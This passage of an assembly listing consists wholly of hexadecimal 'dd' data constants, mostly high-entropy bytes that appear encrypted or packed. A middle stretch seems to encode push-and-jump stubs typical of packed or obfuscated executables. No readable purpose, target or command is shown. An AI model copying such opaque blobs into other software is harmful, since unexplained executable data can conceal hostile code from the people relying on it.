0C1D3D898h, 1BB32D98h dd 0D3A8CF88h, 5707CE5Bh, 0EF8F3946h, 0D727B5B0h, 3420AE8Ch dd 0E21DCF59h, 0DE69584Ah, 6841EBEAh, 0F1235ED6h, 7DF2F491h dd 1661C64Eh, 2154C2A2h, 4FD9B4AAh, 3097B0D9h, 2B1534Ah dd 86157A8Dh, 7CA1C1F3h, 840E39E6h, 7D0E9EF0h, 0D5EF9BDAh dd 0CBE3645Fh, 6B000001h, 435A1ACEh, 0C7D49440h, 0E0292FF8h dd 9877E7E7h, 7EDB26D0h, 1680DFF4h, 0CEB3121Bh, 85CF8396h dd 67516693h, 0C57C0807h, 56BD23D2h, 8034CF83h, 43D5953Fh dd 0C7B7174Ch, 0AE389DC8h, 0ADCF8356h, 0A9E8A37Bh, 1B8DF1DAh dd 2BA3F25Dh, 0F9B12184h, 3D4Dh, 1D0E9500h, 0EE6BEA1Fh dd 5CF82B0h, 8795FC13h, 6ACF82B0h, 0E522FD61h, 0FE9D70EEh dd 5E180A89h, 0EBF56069h, 70CF82B0h, 970609B8h, 0B1C3B05Fh dd 0D121F9h, 3F380000h, 6EBAD595h, 1ACE5B53h, 8940435Ah dd 0BCCBBED1h, 0DF4C6717h, 6F9A75F5h, 3A097158h, 0D2DB9B4Dh dd 520AC0B7h, 8547625Fh, 493EC64Dh, 64C0DF9Fh, 76F6E24Dh dd 0E86D5CA5h, 0C64D84FEh, 16BCCB5Dh, 0E6DD2766h, 21A95299h dd 0A99EEB3Dh, 0C6623D21h, 0C20382EBh, 0D1CF8536h, 8E453247h dd 15BCCBD0h, 0A8DA1965h, 0B4C77C56h, 0E930Eh, 0E2903B00h dd 5804CEB9h, 0DF9F3453h, 621CB1CEh, 0D7874E39h, 2B7F2EC6h dd 9AE5B6A4h, 24634834h, 807FACACh, 5071454h, 1C6779DCh dd 9FECCF88h, 13B7D017h, 2DB71E6Bh, 2EC64D80h, 953C47FAh dd 20A594E5h, 0C64D80C6h, 0F768395h, 0C64D8115h, 7ADFD246h dd 0EE1B5B8Dh, 80687ADBh, 3DEBC64Dh, 0CE531F86h, 1A2D5A1Ah dd 97D2CDB1h, 4D80B42Eh, 2771A7C6h, 394E370Ch, 50B4EB93h dd 0E1E2D661h, 0A9E71EDh, 808E98FDh, 5BCDC64Dh, 359FE0CDh dd 3529A196h, 0DB45CE5Ah, 80C64D80h, 241FFEA8h, 0B3C4B5B3h dd 0DD685B1Bh, 8284E378h, 28A592CFh, 6A7CD92Eh, 0E9CF8284h dd 0CF59843Fh, 7CF00DEh, 82770000h, 0ED205E75h, 84E8FA9Bh dd 0BD6BCF82h, 1CD0EC06h, 5E09FBF3h, 121D14DDh, 25CCC3BBh dd 0C64DB1B7h, 5EABB17Ah, 8845A4F7h, 1465B3CFh, 0C8B1B123h dd 29641AAFh, 224BD540h, 1810CF88h, 91EEB38Eh, 47324727h dd 882264BEh, 382F7CFh, 0CF882321h, 8130E632h, 0E2ECDB0Eh dd 1DB4BF72h, 0BF3C315Dh, 8A757C5Bh, 0D67BCh, 0BEBC0F00h dd 443892EDh, 0BBA32857h, 3E3895F2h, 0C3BB126Dh, 1F7322DAh dd 9EE9B2A8h, 28574430h, 94F3B8A0h, 395B4020h, 1D5BC550h dd 8B00CF88h, 5707CEE3h, 0EF8F3946h, 3A24AD9Ah, 0E5CF1487h dd 127D8A85h, 0A4C4F083h, 567D8A77h, 0DA891928h, 0BF084F3h dd 0Dh, 8B005C53h, 0FED6C64Dh, 0FFFFFD78h, 80C65CE6h, 7C6BC64Dh dd 0D70A8B7Ch, 0FECF8814h, 0E2EADD2Ah, 3201A37Ah, 0E4843047h dd 5C1CC8B7h, 0CF8F4641h, 5B8E84BFh, 54F20D7Ch, 0CD4h dd 0FC21517Ch, 8697C70Bh, 0FD2E5079h, 8C91CD02h, 0F526547Bh dd 557CD07Fh, 0C707F825h, 53798697h, 0D305022Bh, 5D8A8A93h dd 881EEEF8h, 941E6DCFh, 2D5A1ACEh, 0BE3D7C7Fh, 560470F0h dd 8E39914Fh, 0DAAD8413h, 643B3BADh, 0CE5DBC3Fh, 91515A1Ah dd 0F08442E2h, 1CF3h, 0B7D07B00h, 0DC286717h, 80B82AABh dd 8D9BC64Dh, 8B0357B6h, 3D3C64Dh, 0FFFFFCD4h, 1F1D0EE3h dd 9C8E6BEAh, 33E5CF82h, 9C28B55Ch, 5C9CF82h, 8B414659h dd 4CC9BCD3h, 0CF829CDAh, 0FC6FAF79h, 66C9AF9Dh, 0F2536637h dd 0CF829CF0h, 0CCFEB563h, 0F9B1EB27h, 1D4AEh, 0F65C3400h dd 3BC64D80h, 379EE989h, 6ABC4847h, 1ACEB9AAh, 0E8DC675Ah dd 0B666A388h, 0D55ED96Ah, 57E4DFA6h, 70FC0D6Dh, 0DB97CABh dd 592E053Bh, 4DDC8EBCh, 0E3897AC6h, 0BAA295E0h, 5B738220h dd 91A0041Bh, 0A81CEF2Eh, 6FB9A127h, 9795813Eh, 0FF7F5562h dd 0DAAD8420h, 723B3BADh, 0FA82017h, 3669BFBFh, 31E78731h dd 0A3C3F582h, 9887056Ch, 9E4AC64Dh, 0DC4BFDEh, 1B82524Dh dd 0C528CEFCh, 0E0711E56h, 4A60F084h, 0E6000001h, 6717B7D0h dd 8031B312h, 0F622C64Dh, 0E484303Bh, 6A0ABEA9h, 97958641h dd 0B0C55762h, 47ECFE7Fh, 675CB988h, 2ECF8348h, 130A7459h dd 89E82771h, 0CF830793h, 0BD3160CFh, 0F9B17016h, 39BFh dd 1D0E0700h, 0EADFEA1Fh, 4D80796Bh, 734EDAC6h, 82B10196h dd 0AC3B4CFh, 0BC6C754Ch, 0B0AE34E1h, 49B4CF82h, 0C3ED92CAh dd 0DFEAF9B1h, 82A46C76h, 8A39EFCFh, 0BF09h, 1ACE5100h dd 8940435Ah, 1FC9BED1h, 0F9822A5Fh, 53BC4796h, 3F44172Ah dd 88413695h, 5EB32DD6h, 70A8C64Eh, 0DD98F526h, 9CC64E76h dd 0DD86FFADh, 67A02B4h, 4E27A37Dh, 5160B8C6h, 0A972F2E6h dd 0F7676760h, 0AB58C18h, 67EE1B21h, 0CF85D91Eh, 0A99EEB3Dh dd 3E4B3C22h, 84964DD7h, 271A0ECFh, 2F8E4542h, 5EAAE585h dd 0B95C4C8h, 0E9147C56h, 0AAB5Dh, 0FA785300h, 80FCD631h dd 0F7676C9Bh, 8AF4D926h, 0EF6F66A1h, 439736BEh, 0A2DDCE8Ch dd 1C6B302Ch, 0A8D7C4B4h, 1D6F3C3Ch, 204FD134h, 7704CF88h dd 5707CEFFh, 4E8F3946h, 0DF9F3380h, 0B3CEDF49h, 514C0CC4h dd 530BC0B7h, 0E1D9E83Ch, 435A1ACEh, 9D339440h, 84624BDDh dd 44Dh, 71E5E64h, 66EF1820h, 0CF88144Ch, 0E8DF79AFh, 67658FFh dd 438A7D07h, 0F6A0041Bh, 5B01F801h, 6792F700h, 9690F5CCh dd 0C5CF87E3h, 10616053h, 63D8BCEAh, 9684A014h, 0E7B59649h dd 908F198Fh, 5CECFBE1h, 99F867C6h, 8B9BBE65h, 0A22A1DF0h dd 8E8807BAh, 0CE000003h, 6A10B7D0h, 0E3E2D133h, 0C64D80FDh dd 4D80AB82h, 58D25AC6h, 0EF8E481Bh, 0B3244F62h, 9C41C4B5h dd 0B7CF830Fh, 93061D61h, 78A37C54h, 9C7EAh, 1E5C6F00h dd 0A4D8F20Dh, 1B438877h, 9ED8F512h, 235B728Dh, 7FD382FAh dd 0FE091248h, 8877A4D0h, 0F4131840h, 997BA0C0h, 21FBE570h dd 2B60CF88h, 0BB1ACE83h, 4D80C85Ah, 0B9D8BC6h, 0C0C80F14h dd 0B60A25B7h, 2A5942E4h, 63098223h, 0B78AF834h, 3CCBBCEh dd 0D9E83C53h, 88F0BDFCh, 7CBBCCFh, 0D5EC3857h, 704F5CCCh dd 0ED58A1A7h, 0D8C263CAh, 0E7D33B9h, 0CA90C800h, 2F46A6A6h dd 5AAEE199h, 9DEA3E67h, 4F3824AAh, 0D9E89038h, 10430194h dd 6C00C64Eh, 7B20A93Ch, 4F17C525h, 6C3BB4Fh, 0DD4B784Bh dd 0C4B3CEDFh, 0B7514C0Ch, 60530BC0h, 0A47BFBD3h, 1AF5755Fh dd 0C9BEBE2Dh, 82DAEB4Ch, 6E9E8ACFh, 7C544FD7h, 0F9A33F5Ah dd 0A1000008h, 1C6B302Eh, 0AAD5C6B6h, 0F703D21h, 0ACDBC0BEh dd 8C683525h, 18468DE1h, 9ADAF413h, 1E5E7691h, 0A6C6F20Dh dd 0EB6A9775h, 0CF8822F9h, 0E89315Ah, 0DFEA1F1Dh, 80796BEAh dd 4EDAC64Dh, 14639673h, 572CF88h, 2B7D90CEh, 537B8C7Dh dd 141F0184h, 0E434CF88h, 0B01E6932h, 0A9A0C9C4h, 8813BA2Ch dd 255399CFh, 977E7D1Fh, 0EC97AAFCh, 890CFDFBh, 0D8C2926Ah dd 2BB52029h, 30C64E6Dh, 88A049F8h, 6C635495h, 0BE6B22B2h dd 0A9C6158h, 9D9B8C37h, 0C954E96Ch, 2A1FCF82h, 74C2CC82h dd 0C64FB839h, 0CF833B5Ch, 75E029FFh, 0CF833B6Bh, 608938F0h dd 0A6BBC4C8h, 0BEE7C54h, 83B37h, 6AE8E300h, 0D08C4641h dd 6717BCCBh, 0DA844936h, 5F1FB6D1h, 0B307A64Eh, 324D5E1Ch dd 0CCBBE09Ch, 38475404h, 0CDBFEC8Ch, 22BF21A4h, 0E794CF88h dd 5A1ACE4Fh, 27B91C2Dh, 0CAC64D80h, 0E6425D01h, 370C27F1h dd 0C5D8984Ch, 3E510DC2h, 0C0DF9F49h, 88BAD924h, 0D0A3F29Dh dd 0C39784E4h, 0F084F71Ch, 16CC5h, 0B7D00D00h, 5402CB12h dd 8A39CBC2h, 5EABCBFDh, 2AED6ECEh, 0E81F740Dh, 1A37AE2h dd 0BE2A5D32h, 9D2EDBEh, 328FF603h, 1CF8351h, 72DEBD5Bh dd 82EC1113h, 4D642CFh, 132E843Ah, 127F9E8Ah, 0CF834F0Ch dd 34A8E756h, 0F9B1398Fh, 4ED83D4Ch, 0DCF8346h, 3427281Bh dd 0AF000000h, 0EA1F1D0Eh, 806C76DFh, 468DC64Dh, 0B6A30518h dd 0C1A11362h, 0FE873ACEh, 82B10297h, 80711CFh, 82B07369h dd 1180EFCFh, 0B1C336DDh, 0BB9FF9h, 0CE270000h, 40435A1Ah dd 0C9BED189h, 953C231Fh, 7A2CCBC6h, 4E33091Bh, 48DE4AC6h dd 16C6BFDEh, 72844C84h, 303BF6C3h, 0CAB7E484h, 5A6915BDh dd 4E1CA07Bh, 0E36257C6h, 0C64E1D01h, 80EBC652h, 38071454h dd 9F8348EFh, 0BDD3B427h, 987721B4h, 0E86D9A0Ch, 0CF861C9Fh dd 0BA05C9BEh, 84DBC95Bh, 89E8ACFh, 0D4257315h, 3D6EECE3h dd 0ABD38B42h, 7C5646F6h, 0D1FAC8B3h, 79000006h, 4032856h dd 629D8ECEh, 0D728F569h, 64A388F6h, 34C0ED6Dh, 0D08E4599h dd 6212BCCBh, 0D6864E39h, 6E0EBAC5h, 0A3224F3Dh, 0CF882441h dd 0D0D16912h, 0DE4F1E1Ch, 4AF9A4BBh, 0C3E8963Dh, 4B5010C4h dd 5A1ACEAFh, 0BD487F2Dh, 0D648C6F2h, 497B68DBh, 76620429h dd 11000000h, 0C7B0AC26h, 4DA0E43Eh, 92A177C6h, 12B7D018h dd 0D71E0D30h, 0E137F48Fh, 603F3F96h, 6512EDC4h, 0D5953F38h dd 28536EBAh, 0A52D1ABFh, 0CCA5CB9h, 9F89C64Eh, 0AB6C0009h dd 0AA2FB1B7h, 0F458D6B7h, 2177BE11h, 0C37EFED6h, 799A5BBAh dd 0D0B9CF88h, 8876DB45h, 5FA880CFh, 8876ECF6h, 6FB96FCFh dd 99688E69h, 0D83D4A52h, 0D8C30A20h, 0D7EFE93Fh, 47h dd 16B7D01Fh, 0BD2E5968h, 0C8BFCABFh, 0EC385707h, 825FF8D5h dd 2B1ECF82h, 828138AAh, 666C1BCFh, 1B8D17F6h, 74AB7D28h dd 82721EFDh, 46D538CFh, 0D32424F3h, 4D6FE172h, 31A394C6h dd 0C1578231h, 0E80ADCh, 0D0EA0000h, 196C12B7h, 36D2CDB1h dd 0E1E7307Bh, 14822D98h, 47D1CF88h, 64BE4732h, 95CF8813h dd 0C4603F3Fh, 0EB6B6413h, 1382863Dh, 72EAE0F3h, 0FC7C689Bh dd 59B84721h, 3C5B506Bh, 0BE601BC8h, 71CAF9h, 0D9F0000h dd 0C2351DE9h, 8179480Ah, 557E1D0Eh, 492F629h, 0DDF106F3h dd 80A18302h, 66B2C64Dh, 0F20401B0h, 1CF8814h, 0C8EE6917h dd 235BBA2Dh, 0F9BE607Ch, 9302D15Bh, 77AD75A4h, 48122F74h dd 0E1D04D20h, 2A62h, 1D0EE800h, 7E28547Eh, 14EB0C89h dd 9DAACF88h, 6D784B2Bh, 10B9CEBBh, 0E671536Eh, 53C225C0h dd 0BE64741Bh, 345DF9h, 5CE50000h, 0C64D9A5Eh, 9B344334h dd 7C4A7E9Fh, 25735C05h, 0F7A39EEAh, 0FFFFFEEDh, 0A4DDE8Eh dd 62E33DC8h, 0A078C64Eh, 660CBAh, 1D948EF7h, 51C7C64Eh dd 0B9D04862h, 4D80CA5Ch, 0A49F89C6h, 606710D7h, 178123FAh dd 158063E2h, 41D7CF88h, 0E992594Eh, 0DB2C7AE4h, 0BE75E5ECh dd 0A9A252B3h, 67B1D8C2h, 0ACAC7B28h, 1A8FFA5Bh, 5166CF88h dd 7A0E017Dh, 0FD0A1EC7h, 8F9CC00Ah, 186167B0h, 0C2AA32ADh dd 785621D8h, 0D58721FCh, 3ED041BEh, 3F4A29Fh, 8F9CDCF4h dd 74A855FEh, 92D2065Eh, 2A4A7E89h, 0E1E730F3h, 86202D98h dd 0E53367A9h, 302EA394h, 0C8988F5Dh, 0C2EFBA82h, 14EA5D54h dd 7D673A59h, 0F9CF30FDh, 6C5B8E81h, 8F19F464h, 1F03C7B4h dd 0B114BE83h, 5761362Fh, 3866F424h, 0B3196CCDh, 0E630D4CBh dd 7C9B50A7h, 0A83198AFh, 0C7613C3Ch, 0FFD56251h, 7B51AE7Fh dd 1F938BC7h, 89EA598h, 73426215h, 4FF1E5Ch, 0C18F8ECEh dd 0F0D3F5Eh, 5B6C3958h, 0FAEC6976h, 5957615Fh, 0E24659CFh dd 0EC6C64CFh, 0B7D033BFh, 0D2366911h, 0A14094DFh, 0CF59342Ah dd 97414659h, 0DBF0379Bh, 0E3355299h, 0FA10696h, 357B3187h dd 0D03F097Eh, 2426F241h, 77620AF7h, 56909B7h, 0A4D0FE09h dd 3636A28Dh, 49A84DC8h, 51663766h, 442F027Ch, 7FF6D090h dd 95FC134Bh, 0C64E298Bh, 0F88B0A85h, 8681AAD2h, 2E78D24Eh dd 2EDB0228h, 1B7A8F78h, 0C64DB809h, 70E3DE4Ah, 4DB81C01h dd 83E3D5C6h, 0B73578Ch, 1483E614h, 796F926h, 0F1C5C74h dd 4DD5607Eh, 701EB2C6h, 61F084DDh, 0FFFFFF6Ah, 5A1ACEE9h dd 0E2823651h, 0BFBF291Ch, 0DE9E3651h, 4B0BC4BFh, 54C32654h dd 9CAB9466h, 896E4535h, 8C4D770Ah, 1E587546h, 0A5F39588h dd 6E06554h, 55C64D81h, 0FCD4F0C3h, 0F084F357h, 487Eh dd 1D0EC400h, 4B6BEA1Fh, 0ACCF8814h, 4B48F2DBh, 13566958h dd 0B25CCA5Ch, 51B48223h, 0FFA86FC2h, 0A0C0F4D5h, 928D1B6Dh dd 0EE57A0F6h, 0D8C280C6h, 65B327B5h, 0B0505637h, 8640D801h dd 6DE9E6D1h, 0AFDBD632h, 4Dh, 1F1D0E37h, 49F1DDEAh, 9C347182h dd 0E3BA6C48h, 0F2077241h, 0D873986Ah, 0BFC6BD4h, 4E4B988Ah dd 566DBBC6h, 88DF3F77h, 688A0CFh, 6BA4758Fh, 4E4E9D2Ch dd 6C1CDC39h, 0ED3BD8C2h, 41897EEBh, 7E07021Dh, 0C64E4BA4h dd 0FCB761B7h, 17B7D0E2h, 0E5DC2867h, 0F90E6E5Ah, 809B8510h dd 68C0C64Dh, 59030659h, 511F8E77h, 61CEE5FCh, 0DB26F777h dd 9C73E3ECh, 9D8E3908h, 96EB6A9Fh, 0BDCF831Dh, 59BC03CAh dd 0CF82D0C7h, 9C0A9C8Ch, 0D10E1481h, 0E954CF82h, 0A78D32AAh dd 3954F9B1h, 9A000000h, 666A1CD0h, 0E35BDA92h, 4E048062h dd 0D345D3C6h, 444493E0h, 34C5D233h, 0A9E0CF83h, 8334BA2Ch dd 198F99CFh, 34918F06h, 6ED1CF83h, 4708B72Fh, 0ADD9F9B1h dd 21000000h, 435A1ACEh, 0BED18940h, 405F1FC9h, 0CCD19143h dd 4D859E49h, 16153C6h, 993FED1Ch, 0D2DB21A2h, 0F5DF4C67h dd 586F9A75h, 70140B73h, 2725F6C1h, 321673D2h, 9F4DCF83h dd 4E39B0C1h, 4952C4BAh, 5AAFAD7Eh, 0BA5184FBh, 3445D3D8h dd 2866C045h, 23F5C650h, 0BB122510h, 26ADDAC3h, 0B5575438h dd 27527563h, 1839Bh, 0B2A02B00h, 48349EE9h, 0AFAF2463h dd 124C817Eh, 0A7D7FE09h, 0FB4FFE76h, 8A75A6D4h, 0F4131844h dd 708F9CDCh, 15F72444h, 297769ECh, 0AFDCCF88h, 5707CE07h dd 0EF8F3946h, 0BC26AF9Ah, 9FC64D80h, 7F3BA89h, 0EA1F1D0Eh dd 8887F7DDh, 9AC409FCh, 27122183h, 82B0B99Eh, 415CCCCFh dd 82B04ED4h, 6AA914CFh, 9825AE99h, 0B0544B33h, 0E6DD2766h dd 0B1C30FB4h, 0B8D6F9h, 1AB0000h, 2A064040h, 6F873ACBh dd 435A1ACEh, 0BED18940h, 4D859457h, 587761C6h, 4D84F3EDh dd 66B068C6h, 0DE9E4A35h, 761304BFh, 0FC134B81h, 84F9EBA8h dd 0CE5AC64Dh, 346B13B7h, 0D43146D0h, 0CF82B0F7h, 96B17AAEh dd 312DA645h, 0ED3392E7h, 66D8BA59h, 1BB2C5B2h, 864D3A63h dd 84E9B4D8h, 0DDC07563h, 0A309h, 0D2804B00h, 6814BEC9h dd 0CF8F4443h, 322CA1DEh, 0C7B71E69h, 1B6F1ED6h, 0AAD5C6B4h dd 14733824h, 90EFBCBCh, 35574424h, 2A57C94Ch, 8FFCCF88h dd 5707CEE7h, 34AE1722h, 27C64D80h, 2C5B42F1h, 0B8CFB8B8h dd 0D3356810h, 6BBACB09h, 2110449Eh, 1ACEBE3Ch, 9440435Ah dd 0CB8C7D4h dd 94403F6Ch, 35CB9D4h, 913EB578h, 685C2F6Eh, 22FD7D67h dd 0FC0B1086h, 7275A8C8h, 10EE215Dh, 796B3E5Dh, 87C037BDh dd 4ADC4B8Ah, 0DB834A3Dh, 0B91560C4h, 609F06BDh, 0F019F474h dd 0B88BF3D7h, 32Ah, 9565CA00h, 3C5303CEh, 0C2DD9D47h dd 504F0FC5h, 0E4BBBB13h, 5B32289Fh, 0E6B9A128h, 5B322CA1h dd 0E4BBA328h, 5C332B9Fh, 76FE6880h, 24890000h, 4B85024h dd 1000000h, 58042444h, 81E28952h, 4C2h, 4EA8100h, 87000000h dd 895C2414h, 5E68240Ch, 89000008h, 0A2682404h, 8B093A95h dd 0C481240Ch, 4, 38C468h, 24248900h, 4240481h, 58000000h dd 74F168h, 24148900h, 5089CA89h, 34FF5A08h, 0C4815824h dd 4, 592434FFh, 0E904C483h, 0FFFB99E8h, 3A72DC8Bh, 47E82A96h dd 0B8649EE1h, 93AAB4Bh, 0E0FFC503h, 7C5FAF44h, 12FFAF2Ah dd 64BBB9CEh, 2A89CE2Dh, 53EAA101h, 3890C15Dh, 25D34D7Dh dd 2E013DADh, 4C13C0E0h, 7DA806DFh, 398CCABCh, 309FDE33h dd 51F8A755h, 76E2CCD4h, 5415FECBh, 54259228h, 2FFFE554h dd 3ACD77C2h, 39FE9CA3h, 0AC698D8Dh, 8D89093Ah, 9351629h dd 287D85C7h, 67040935h, 0BD890000h, 9352FBDh, 225585C7h dd 935h, 0BD8B0000h, 9351BD5h, 1BBDB5FFh, 8D890935h, 93521FDh dd 0D0595FFh, 85890935h, 93529ADh, 95FF006Ah, 9350829h dd 3FEBC08Bh, 838DAD98h, 877BDAD7h, 0C9766C23h, 0A4192B45h dd 46676C82h, 72EF93Ch, 0B7E8BA0Eh, 3E3EB4h, 0E1B352D0h dd 0DF9FE8D2h, 42FD3E65h, 0DB6E7DA4h, 0D02AEE6Ch, 0C18881DCh dd 17856AA4h, 0EBC4C506h, 5F023708h, 0E7339C0Ah, 0D6DE977h dd 0E680000h, 0E9093AAEh, 0FFFAD210h, 3AAF0F68h, 0D206E909h dd 6E68FFFAh, 0E9093AB0h, 0FFFAD1FCh, 3AB1CD68h, 0D1F2E909h dd 6C68FFFAh, 0E9093AB3h, 0FFFAD1E8h, 3AB59668h, 0D1DEE909h dd 5E68FFFAh, 0E9093AB7h, 0FFFAD1D4h, 3AB86E68h, 0D1CAE909h dd 193BFFFAh, 419DFBCh, 0E778009Dh, 47DFA1FAh, 9E974952h dd 0E099A2FBh, 0F5A6332Ah, 0B0EDE883h, 0F4A93628h, 0B6E7F06Ch dd 9E24BA12h, 9A12FB94h, 2B47CA09h, 5DD143AEh, 3D885744h dd 343B6965h, 0E8150364h, 1B9D2BC6h, 0DC13011Bh, 8BC29B89h dd 0DC928523h, 20h, 0C39B2EABh, 724AD50Bh, 28AE1503h, 11953BC9h dd 0CF561301h, 29A9E4E5h, 0CDBE9285h, 0D000000h, 43AE2B47h dd 0B24158D1h, 3EB5223Eh, 792756CAh, 1C364153h, 4E4FA147h dd 3645F76Eh, 0AC35291Ch, 8C366C20h, 881C363Dh, 47B98E66h dd 0B843AE2Bh, 0AB2E45EDh, 7D458945h, 0F4CC169Dh, 0DF75813Bh dd 1502C698h, 36118A0Ch, 38A5BB63h, 54C937B9h, 0CC22A64Dh dd 6DF4E200h, 0E8120BCCh, 0F4E57C75h, 0E885F7FAh, 707E02F1h dd 4C8CE84h, 0EE8663FAh, 797762F9h, 0A3F8F67Ah, 0C86544DDh dd 509E22D1h, 0A27EBF94h, 0AB931EE9h, 0B54h, 0DDBE1B39h dd 29B061Bh, 0A7F4E17Eh, 0FBA03931h, 0B0EDEC85h, 7DF496E3h dd 0A2B93F5Ch, 7CF26637h, 0A6BA3E5Fh, 206C6439h, 0FB933882h dd 1C9F2C12h, 0F2AB2E47h, 0D3B7F26Eh, 0B2D80ADBh, 25069759h dd 5FD39B2Eh, 8220AC42h, 15037193h, 6AC4769h, 6E842BB6h dd 1F51784h, 464D73h, 0AD970E13h, 85F461ACh, 0D70692h dd 47C50000h, 6A1EAE2Bh, 36418E34h, 90648A1Ch, 6D216D11h dd 36418D37h, 7D67891Ch, 1C364137h, 8321AD33h, 1C364139h dd 0D14BAB2Dh, 22B24158h, 1C36464Bh, 0E8F6819Dh, 1C363DE2h dd 372ED0D6h, 23CD4FA2h, 851C11ABh, 7562FA6Eh, 0DA9E7B7Bh dd 4B755946h, 0A62DC9D4h, 0EEB48E19h, 1C363DC4h, 4FE01EC0h dd 0D31D9F52h, 64A2E5FBh, 90161503h, 0B1693C0Bh, 0A411711Dh dd 4FEAEB67h, 0B821AF47h, 0AC0BCC20h, 118A22Ah, 0E47D0398h dd 0A4D0F1F5h, 26CDE9A2h, 0A533Ch, 0BD1A3800h, 9C0518E0h dd 0FBE679FFh, 5146DEA2h, 0FC9D944Ch, 23E7949Fh, 4A0E8F0Ah dd 21D7C4D1h, 5709920Fh, 0EBDDBEDBh, 92B7FDA3h, 22B312FBh dd 0AB2E47A1h, 0ABC23CF2h, 0B541C32Eh, 0E1BA273Bh, 0AE2B47F2h dd 445DD143h, 0DCF97688h, 718B4318h, 9C10E3FEh, 1CD81683h dd 66663E89h, 35D8D38h, 3F457D15h, 4D627AEDh, 575907EFh dd 40A90C9Ch, 0F96C1301h, 0FEFB520Bh, 0AA6C9284h, 16000006h dd 0E50C8DA4h, 0A6F85F63h, 0BB0D4633h, 9B2E943Bh, 9F0CE95h dd 2FC1256Ch, 3782019Fh, 70761503h, 38CDF381h, 178E1301h dd 6E12C2Dh, 76869285h, 45000006h, 0BC39B2Eh, 34372D5h dd 0B1406615h, 1409D23h, 4851CD13h, 713A37A9h, 0FA99EA76h dd 569D5321h, 11C8F2B0h, 1ABC1301h, 73765EC3h, 0F8DDC71Eh dd 129AEBC8h, 655D30E4h, 565A821Fh, 933BBB8Dh, 9285533Ah dd 62C2Dh, 0A495E00h, 0C804DCE7h, 355271Ah, 938B0D15h dd 0EE54F2ADh, 0A67E4986h, 0E1D7826h, 0DD038FE3h, 663E8916h dd 12ED1666h, 0BC73372Ch, 88389438h, 0FC9C4361h, 79D59CEh dd 88EE6739h, 8B7AB3Dh, 1616F0DAh, 2CC2E497h, 21AD43C5h dd 0E115809Fh, 32AFC33Dh, 5E7BF769h, 0C06D5186h, 0BDA54C6Eh dd 8F4h, 3D5E7BD9h, 623BA6BBh, 8714819Eh, 5B4059D1h, 900D8CA5h dd 1D14F683h, 0C2591F7Ch, 1C12C6D7h, 0C65A1E7Fh, 0C00CC4D9h dd 0FB919822h, 0BCFF8C12h, 568C2B47h, 1C36416Ch, 807A4668h dd 0BF50A388h, 47D41FD1h, 2BBCB47Ch, 0AB46A835h, 35BC2539h dd 1BB33DB3h, 0CDDD085h, 9902A415h, 1CBD9B5h, 0F512FB86h dd 2645D3C5h, 28C67C61h, 0EBA036CCh, 248012FBh, 5C9D64Ah dd 9C3937C9h, 0FBEB7C46h, 7E767812h, 0A9971EA9h, 6185FA3Ah dd 0A428C6D7h, 0FBFABCFEh, 9636B812h, 0FB06ACF2h, 7D0012FBh dd 2217B042h, 7C781EA4h, 0F2EF83F5h, 41A51BA9h, 5BD512FCh dd 57695D3Eh, 0C537BFDAh, 33C130A9h, 0DA8FB18Dh, 0BB988C99h dd 51EBD10Fh, 8BDF2570h, 766C2D19h, 5F1FF52h, 7FDC978Bh dd 4A4FE4F6h, 0EB7C5E76h, 4CE09805h, 0AE10A053h, 622570EBh dd 8E0B209Ah, 5F7AF163h, 24106591h, 0FCA2DD51h, 2570CBB6h dd 0D9C22CB2h, 0E1C58DF5h, 439EE204h, 100C3B3h, 47040000h dd 34A1BE2Bh, 0FAAA12BAh, 738049AEh, 7F1A13EDh, 7D04F074h dd 6988150Bh, 3622F1DBh, 0A40D211Ch, 65E70A8Fh, 0C8DB688Bh dd 2D26BC10h, 51150CCFh, 0D023B6AFh, 1BD5C25Ch, 638325DBh dd 0F2DAF532h, 95DEC86Bh, 7A000007h, 0DEA2FBD8h, 93455643h dd 0E49C019Ch, 8E524B4Ch, 0A2990297h, 910821E9h, 0BADF540Ch dd 94011FE1h, 0C4DD5107h, 79DF1D7h, 12FB90BDh, 47A72CB9h dd 0D143AE2Bh, 0A45C4158h, 0C8900D8Ah, 79834B54h, 23F8FCE5h dd 0EDB3C45Dh, 1C3641C7h, 20D31DC3h, 0CD24B5ACh, 7306EE5Fh dd 0CBEDFFAh, 894FF9C1h, 11A6h, 0F6ACE000h, 1C364DCCh dd 2FCE26C8h, 0B1D1h, 2B470200h, 13B543AEh, 0C71C3652h dd 879B6E56h, 1108B21Ah, 0C98F6C88h, 19A74A57h, 1C3631B6h dd 8608B894h, 9726B90Dh, 12024FA7h, 814B5935h, 751C363Ah dd 0BC177D45h, 0F1FFE596h, 8958B05h, 2947A093h, 5DD345ACh dd 2DC4DD50h, 3AAE45ABh, 0C63AB926h, 0B1263EABh, 0C130BE42h dd 0D79282D3h, 0BB45892Dh, 22A83AA7h, 161C3641h, 0E1F66E90h dd 19668E12h, 0C4E2E2Bh, 2F954BF5h, 2B1C35A7h, 51EC3D85h dd 0F3535969h, 7FE4FA8Eh, 6E6B0577h, 0E02F8F2Dh, 7F531C35h dd 89505F51h dd 0FFFEA21Ah, 0EB1579FFh, 0A68E6673h, 349h, 5C45D8E2h dd 2B47F998h, 3B543AEh, 121C3642h, 900D229Ch, 20250F64h dd 0E014819Eh, 88B7F26Eh, 82B9D34Dh, 0FB7E40Ah, 896871EDh dd 0E17DEF07h, 0F602C8D6h, 0F0F61C35h, 9B3474D0h, 0C02EFDA5h dd 5F0DA331h, 912B1C35h, 79F3039Eh, 6AF5FCE5h, 9947875Fh dd 150C0BC4h, 0BA2738C2h, 2BAEC537h, 54AA44C8h, 0B537BADFh dd 0C0DF9341h, 5671EB29h, 0ABB82CC2h, 32F2DA4Eh, 5F6C7AFh dd 79DB0000h, 0A4B93F5Ch, 8798603Dh, 67FF811Ah, 0BEB72972h dd 0C0B9821Bh, 0D5C6D34Ah, 108D0823h, 0D4C9D648h, 1687100Ch dd 7E445A32h, 7A12FB8Eh, 2B476A69h, 0BE35A2BEh, 993DB43Ah dd 4205AFF5h, 0DF011C36h, 0D8CA517h, 4B54C890h, 2978E52h dd 5E47DEFh, 4886B6Eh, 4C9907EAh, 3B4AD58h, 3641D7DDh dd 0F5CDD31Ch, 68A6CE73h, 6E2FC1C4h, 509891BCh, 253D689h dd 2EB50000h, 9C2CC787h, 0E2D8BBFCh, 559C3D34h, 7B703CA5h dd 78867E0Dh, 87F5FCE5h, 464B2E16h, 0DDFA7688h, 0FFD8CC19h dd 883E8ECEh, 22499h, 872EFA00h, 0D18D9A99h, 35EFA913h dd 0C7FB9D1Ch, 717FFE2Ah, 4973315Dh, 3D1C35F1h, 0DBAF5B9Bh dd 0F1CBF1AFh, 